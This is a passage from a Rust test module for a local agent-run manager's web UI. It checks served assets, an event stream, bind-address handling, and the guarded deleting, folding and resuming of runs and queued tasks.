4102 );
4103 }
4104
4105 #[tokio::test]
4106 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4107 let f = Fixture::start().await;
4108
4109 let html = f.get("/").await;
4110 let css = f.get("/app.css").await;
4111 let js = f.get("/app.js").await;
4112
4113 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4114 assert!(
4115 html.headers
4116 .contains("content-type: text/html; charset=utf-8")
4117 );
4118 assert!(css.headers.contains("content-type: text/css"));
4119 assert!(js.headers.contains("content-type: text/javascript"));
4120 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4121 }
4122
4123 #[tokio::test]
4124 async fn the_change_stream_announces_the_current_revisions_on_connect() {
4125 let f = Fixture::start().await;
4126
4127 let mut socket = tokio::net::TcpStream::connect(f.addr)
4128 .await
4129 .expect("connect");
4130 socket
4131 .write_all(
4132 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4133 )
4134 .await
4135 .expect("write request");
4136
4137 let mut seen = String::new();
4140 let mut buf = [0u8; 1024];
4141 while !seen.contains("event: change") {
4142 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4143 .await
4144 .expect("the stream must speak within five seconds")
4145 .expect("read");
4146 assert!(read > 0, "the server closed the change stream: {seen}");
4147 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4148 }
4149
4150 assert!(
4151 seen.to_lowercase()
4152 .contains("content-type: text/event-stream"),
4153 "the browser only reconnects automatically for a real SSE stream: {seen}"
4154 );
4155 let data = seen
4156 .lines()
4157 .find_map(|l| l.strip_prefix("data:"))
4158 .expect("a data line");
4159 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4160 assert!(
4161 payload["queue_rev"].is_u64()
4162 && payload["runs_rev"].is_u64()
4163 && payload["questions_rev"].is_u64()
4164 && payload["chats_rev"].is_u64()
4165 && payload["loop_rev"].is_u64(),
4166 "the client needs one revision per store to know what to refetch, \
4167 and `chats_rev` is the only notification a slow interview gets - \
4168 a phone whose radio slept through a turn learns about it here, as \
4169 does one whose operator started the loop from another device: \
4170 {payload}"
4171 );
4172
4173 let health = f.get("/api/health").await.json();
4180 for key in [
4181 "queue_rev",
4182 "runs_rev",
4183 "questions_rev",
4184 "chats_rev",
4185 "loop_rev",
4186 ] {
4187 assert!(
4188 health[key].is_u64(),
4189 "health is the change stream's fallback and is missing `{key}`: {health}"
4190 );
4191 }
4192 }
4193
4194 #[test]
4195 fn bind_reads_back_from_the_spelling_the_cli_prints() {
4196 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4200 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4201 }
4202 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4203 assert!("everywhere".parse::<Bind>().is_err());
4204 }
4205
4206 #[test]
4207 fn an_explicit_bind_address_is_taken_verbatim() {
4208 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4209
4210 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4211
4212 assert_eq!(addr, asked);
4213 assert!(
4214 warning.is_none(),
4215 "an operator who named an address gets no lecture"
4216 );
4217 }
4218
4219 #[test]
4220 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4221 let (addr, warning) = resolve_bind(&Bind::Auto);
4222
4223 match addr {
4230 IpAddr::V4(ip) if is_tailnet(&ip) => {
4231 assert!(warning.is_none(), "a tailnet address needs no warning");
4232 }
4233 other => {
4234 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4235 let warning = warning.expect("a fallback has to explain itself");
4236 assert!(
4237 warning.contains("127.0.0.1") && warning.contains("local-only"),
4238 "the warning says what happened and what it costs: {warning}"
4239 );
4240 }
4241 }
4242 }
4243
4244 #[test]
4245 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4246 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4250 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4251 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4252 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4253 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4254 }
4255
4256 #[test]
4257 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4258 let ids = vec![
4259 "20260902-140501-aaaa".to_owned(),
4260 "20260902-140502-aabb".to_owned(),
4261 ];
4262
4263 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4264 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4265 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4266
4267 assert_eq!(missing.status, StatusCode::NOT_FOUND);
4268 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4269 assert_eq!(short, "20260902-140502-aabb");
4270 }
4271 #[tokio::test]
4272 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4273 let fx = Fixture::start().await;
4279 let id = panel(
4280 &fx,
4281 "<img src=\"shot.png\">",
4282 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4283 );
4284
4285 let doc = fx
4287 .get(&format!("/api/questions/{id}/panel/index.html"))
4288 .await;
4289 assert_eq!(doc.status, 200, "{}", doc.body);
4290 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4291
4292 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4293 assert_eq!(sibling.status, 200, "{}", sibling.body);
4294 assert_eq!(sibling.header("content-type"), Some("image/png"));
4295 assert_eq!(
4296 sibling.header("content-security-policy"),
4297 Some(PANEL_CSP),
4298 "the sibling route must carry the same policy as the asset route"
4299 );
4300
4301 assert_eq!(
4304 fx.head(&format!("/api/questions/{id}/panel")).await.status,
4305 200
4306 );
4307 }
4308
4309 #[test]
4310 fn runs_revision_moves_when_deleting_an_older_run() {
4311 let temp = TempDir::new().expect("tempdir");
4312 let runs = temp.path().join("runs");
4313 std::fs::create_dir_all(&runs).expect("create runs dir");
4314
4315 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4316
4317 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4318 std::thread::sleep(Duration::from_millis(10));
4319 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4320
4321 let rev_before = runs_revision(&runs);
4322 assert!(rev_before > 0);
4323
4324 let old_dir = runs.join("20260901-100000-old1");
4325 std::fs::remove_dir_all(&old_dir).expect("remove old run");
4326
4327 let rev_after = runs_revision(&runs);
4328 assert_ne!(
4329 rev_before, rev_after,
4330 "deleting an older run must change the revision so other clients see the deletion"
4331 );
4332 }
4333
4334 #[tokio::test]
4335 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4336 let fx = Fixture::start().await;
4337 let q = fx.queue();
4338
4339 let mut t1 = Task::new(
4341 "Task 1".to_owned(),
4342 "Instruction 1".to_owned(),
4343 PathBuf::from("/repo"),
4344 Source::Human,
4345 );
4346 let run_id = "20260901-000000-r111";
4347 t1.runs.push(run_id.to_owned());
4348 write_run(&fx.runs(), run_id, RunStatus::Merged);
4349 q.put(&mut t1).expect("put t1");
4350
4351 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4353 assert_eq!(res.status, 204);
4354 assert!(res.body.is_empty(), "204 No Content has no body");
4355 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4356 assert!(
4357 fx.runs().join(run_id).exists(),
4358 "run directory must not be deleted when its task is deleted"
4359 );
4360
4361 let mut t2 = Task::new(
4363 "Task 2".to_owned(),
4364 "Instruction 2".to_owned(),
4365 PathBuf::from("/repo"),
4366 Source::Human,
4367 );
4368 t2.status = TaskStatus::Running;
4369 q.put(&mut t2).expect("put t2");
4370 let mut beat = crate::daemon::Status::new();
4371 beat.current = Some(crate::daemon::Current {
4372 task: t2.id.clone(),
4373 run: "20260901-000000-r222".to_owned(),
4374 });
4375 beat.updated_at = jiff::Timestamp::now();
4376 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4377 .expect("publish a heartbeat");
4378 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4379 assert_eq!(res.status, 409);
4380 assert!(
4381 res.json()["error"]
4382 .as_str()
4383 .unwrap()
4384 .contains("live daemon")
4385 );
4386 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4387
4388 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4394 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4395 .expect("leave a stale heartbeat");
4396 let mut t3 = Task::new(
4397 "Task 3".to_owned(),
4398 "Instruction 3".to_owned(),
4399 PathBuf::from("/repo"),
4400 Source::Human,
4401 );
4402 t3.status = TaskStatus::Running;
4403 q.put(&mut t3).expect("put t3");
4404 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4405 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4406 assert_eq!(res.status, 204);
4407 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4408 assert!(
4409 q.claim(&t3.id).is_ok(),
4410 "the stale lock went with it, so the id is claimable again"
4411 );
4412
4413 let res = fx.delete("/api/queue/nonexistent").await;
4415 assert_eq!(res.status, 404);
4416 }
4417
4418 #[tokio::test]
4419 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4420 let fx = Fixture::start().await;
4421 let runs = fx.runs();
4422
4423 let run_id = "20260901-000000-fold";
4425 let mut state = RunState::new(
4426 PathBuf::from("/repo"),
4427 "main".to_owned(),
4428 "abc".to_owned(),
4429 "instruction".to_owned(),
4430 Config::default(),
4431 );
4432 state.id = run_id.to_owned();
4433 state.status = RunStatus::Merged;
4434 state.candidates.push(crate::run::Candidate {
4435 index: 0,
4436 label: 'A',
4437 agent: "a".to_owned(),
4438 branch: "b".to_owned(),
4439 worktree: PathBuf::from("/w"),
4440 summary: String::new(),
4441 stat: String::new(),
4442 files: 1,
4443 commits: 1,
4444 empty: false,
4445 failed: None,
4446 duration_ms: 0,
4447 folded: true,
4448 });
4449 let dir = runs.join(run_id);
4450 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4451 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4452 .expect("write artifact");
4453 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4454 .expect("write run.json");
4455
4456 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4458 assert_eq!(res.status, 204);
4459 assert!(res.body.is_empty(), "204 has no body");
4460 assert!(!dir.exists(), "run directory and artifacts must be deleted");
4461
4462 let run_running = "20260901-000000-rung";
4467 write_run(&runs, run_running, RunStatus::Prep);
4468 let mut beat = crate::daemon::Status::new();
4469 beat.current = Some(crate::daemon::Current {
4470 task: "20260901-000000-task".to_owned(),
4471 run: run_running.to_owned(),
4472 });
4473 beat.updated_at = jiff::Timestamp::now();
4474 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4475 .expect("publish a heartbeat");
4476 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4477 assert_eq!(res.status, 409);
4478 assert!(
4479 res.json()["error"]
4480 .as_str()
4481 .unwrap()
4482 .contains("live daemon"),
4483 "the refusal must say who is holding it"
4484 );
4485 assert!(
4486 runs.join(run_running).exists(),
4487 "a run in flight keeps its directory"
4488 );
4489
4490 let run_unfolded = "20260901-000000-unfd";
4492 let mut state2 = RunState::new(
4493 PathBuf::from("/repo"),
4494 "main".to_owned(),
4495 "abc".to_owned(),
4496 "instruction".to_owned(),
4497 Config::default(),
4498 );
4499 state2.id = run_unfolded.to_owned();
4500 state2.status = RunStatus::Ready;
4501 state2.candidates.push(crate::run::Candidate {
4502 index: 0,
4503 label: 'A',
4504 agent: "a".to_owned(),
4505 branch: "b".to_owned(),
4506 worktree: PathBuf::from("/w"),
4507 summary: String::new(),
4508 stat: String::new(),
4509 files: 1,
4510 commits: 1,
4511 empty: false,
4512 failed: None,
4513 duration_ms: 0,
4514 folded: false,
4515 });
4516 let dir2 = runs.join(run_unfolded);
4517 std::fs::create_dir_all(&dir2).expect("create dir2");
4518 std::fs::write(
4519 dir2.join("run.json"),
4520 serde_json::to_string(&state2).unwrap(),
4521 )
4522 .expect("write run.json");
4523
4524 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
4525 assert_eq!(res.status, 409);
4526 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
4527 assert!(dir2.exists(), "unfolded run directory is kept");
4528
4529 let res = fx.delete("/api/runs/nonexistent").await;
4531 assert_eq!(res.status, 404);
4532 }
4533
4534 #[test]
4535 fn web_ui_delete_contract_in_front_end() {
4536 assert!(APP_JS.contains("deleteRun:"));
4538 assert!(APP_JS.contains("deleteTask:"));
4539
4540 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
4542 ..APP_JS.find("function renderRuns").unwrap()];
4543 assert!(!run_cards_slice.to_lowercase().contains("delete"));
4544
4545 assert!(APP_JS.contains("renderRunDelete"));
4547 assert!(APP_JS.contains("runDeleteReason"));
4548 assert!(APP_JS.contains("magi fold"));
4549 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
4550
4551 assert!(APP_JS.contains("cancel.focus"));
4553 assert!(APP_JS.contains("armedRunDelete"));
4554 assert!(APP_JS.contains("armedDelete"));
4555
4556 assert!(APP_JS.contains("disabled: status === \"running\""));
4558 }
4559
4560 #[tokio::test]
4561 async fn folding_from_the_phone_reports_what_it_removed() {
4562 let fx = Fixture::start().await;
4563 let runs = fx.runs();
4564
4565 let id = "20260901-000000-fold";
4569 write_run(&runs, id, RunStatus::Stalled);
4570 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4571 assert_eq!(res.status, 200);
4572 assert_eq!(res.json()["removed_count"], 0);
4573 assert_eq!(res.json()["run"], id);
4574 assert!(
4575 runs.join(id).exists(),
4576 "a fold keeps the run's record; only the worktrees go"
4577 );
4578 }
4579
4580 #[tokio::test]
4581 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
4582 let fx = Fixture::start().await;
4583 let runs = fx.runs();
4584 let id = "20260901-000000-live";
4585 write_run(&runs, id, RunStatus::Implementing);
4586
4587 let mut beat = crate::daemon::Status::new();
4588 beat.current = Some(crate::daemon::Current {
4589 task: "20260901-000000-task".to_owned(),
4590 run: id.to_owned(),
4591 });
4592 beat.updated_at = jiff::Timestamp::now();
4593 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4594 .expect("publish a heartbeat");
4595
4596 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
4597 assert_eq!(res.status, 409);
4598 assert!(
4599 res.json()["error"]
4600 .as_str()
4601 .unwrap()
4602 .contains("live daemon"),
4603 "folding under a running agent would pull its worktree away"
4604 );
4605 }
4606
4607 #[tokio::test]
4608 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
4609 let fx = Fixture::start().await;
4610 let runs = fx.runs();
4611
4612 for (status, word) in [
4613 (RunStatus::Merged, "merged"),
4614 (RunStatus::Ready, "ready"),
4615 (RunStatus::Failed, "failed"),
4616 (RunStatus::Implementing, "implementing"),
4617 ] {
4618 let id = format!("20260901-000000-{}", &word[..4]);
4619 write_run(&runs, &id, status);
4620 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
4621 assert_eq!(res.status, 409, "{word} must not be resumable");
4622 let err = res.json()["error"].as_str().unwrap().to_owned();
4623 assert!(err.contains(word), "the refusal names the status: {err}");
4624 }
4625 }
4626
4627 #[tokio::test]
4628 async fn resume_is_refused_while_the_loop_is_running() {
4629 let fx = Fixture::start().await;
4630 let runs = fx.runs();
4631 let stalled = "20260901-000000-stal";
4632 write_run(&runs, stalled, RunStatus::Stalled);
4633
4634 let mut beat = crate::daemon::Status::new();
4637 beat.current = Some(crate::daemon::Current {
4638 task: "20260901-000000-task".to_owned(),
4639 run: "20260901-000000-othr".to_owned(),
4640 });
4641 beat.updated_at = jiff::Timestamp::now();
4642 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4643 .expect("publish a heartbeat");
4644
4645 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
4646 assert_eq!(res.status, 409);
4647 let err = res.json()["error"].as_str().unwrap().to_owned();
4648 assert!(err.contains("othr"), "it names what the loop is on: {err}");
4649 assert!(err.contains("one competition at a time"), "{err}");
4650 }
4651
4652 #[test]
4653 fn a_run_cannot_be_resumed_twice_at_once() {
4654 let home = TempDir::new().expect("temp home");
4655 let ui = Ui::new(
4656 Queue::at(home.path().join("queue")),
4657 Questions::at(home.path().join("questions")),
4658 Chats::at(home.path().join("chats")),
4659 home.path().join("runs"),
4660 home.path().to_path_buf(),
4661 PathBuf::from("/repo"),
4662 );
4663 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
4664 let again = ui.begin_resume("20260901-000000-once");
4665 assert!(again.is_err(), "a second tap must not start a second graph");
4666 drop(first);
4667 assert!(
4668 ui.begin_resume("20260901-000000-once").is_ok(),
4669 "and the claim is released when the attempt ends"
4670 );
4671 }
4672
4673 #[test]
4674 fn refreshing_a_conversation_never_navigates_to_it() {
4675 let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
4682 ..APP_JS.find("async function startChat(").expect("startChat")];
4683 assert!(
4684 !body.contains("state.chatDetail = {"),
4685 "loadChat must not decide which conversation is on screen: {body}"
4686 );
4687 assert!(
4688 body.contains("if (state.chatDetail.id !== id) return;"),
4689 "it returns instead of drawing a chat the operator is not reading"
4690 );
4691
4692 assert!(
4696 body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
4697 "settle the turn before the on-screen check"
4698 );
4699
4700 let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
4702 assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
4703 }
4704
4705 #[test]
4706 fn the_deck_never_sends_the_operator_to_a_terminal() {
4707 assert!(
4710 !APP_JS.contains("Run `magi fold` first"),
4711 "the deck must offer the fold, not prescribe a shell command"
4712 );
4713 assert!(APP_JS.contains("foldRun:"));
4714 assert!(APP_JS.contains("resumeRun:"));
4715 assert!(APP_JS.contains("renderRunActions"));
4716
4717 assert!(APP_JS.contains("armedFold"));
4719 assert!(APP_JS.contains("Yes, fold worktrees"));
4720
4721 assert!(APP_JS.contains("can no longer be resumed"));
4724 }
4725
4726 #[test]
4727 fn a_finished_run_explains_itself_with_its_own_last_line() {
4728 assert!(
4734 !APP_JS.contains("collapsed on agent quota"),
4735 "a stall must not be explained by a cause the deck did not check"
4736 );
4737 assert!(
4738 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
4739 "and a block must not offer a guess with an `or` in it"
4740 );
4741
4742 assert!(
4746 APP_JS.contains("setText(r.event, run.event || \"\")"),
4747 "the run's last line is rendered unconditionally"
4748 );
4749 assert!(
4750 !APP_JS.contains("moving && run.event"),
4751 "and never gated on the run still moving"
4752 );
4753
4754 assert!(APP_JS.contains("lost to quota"));
4756 }
4757}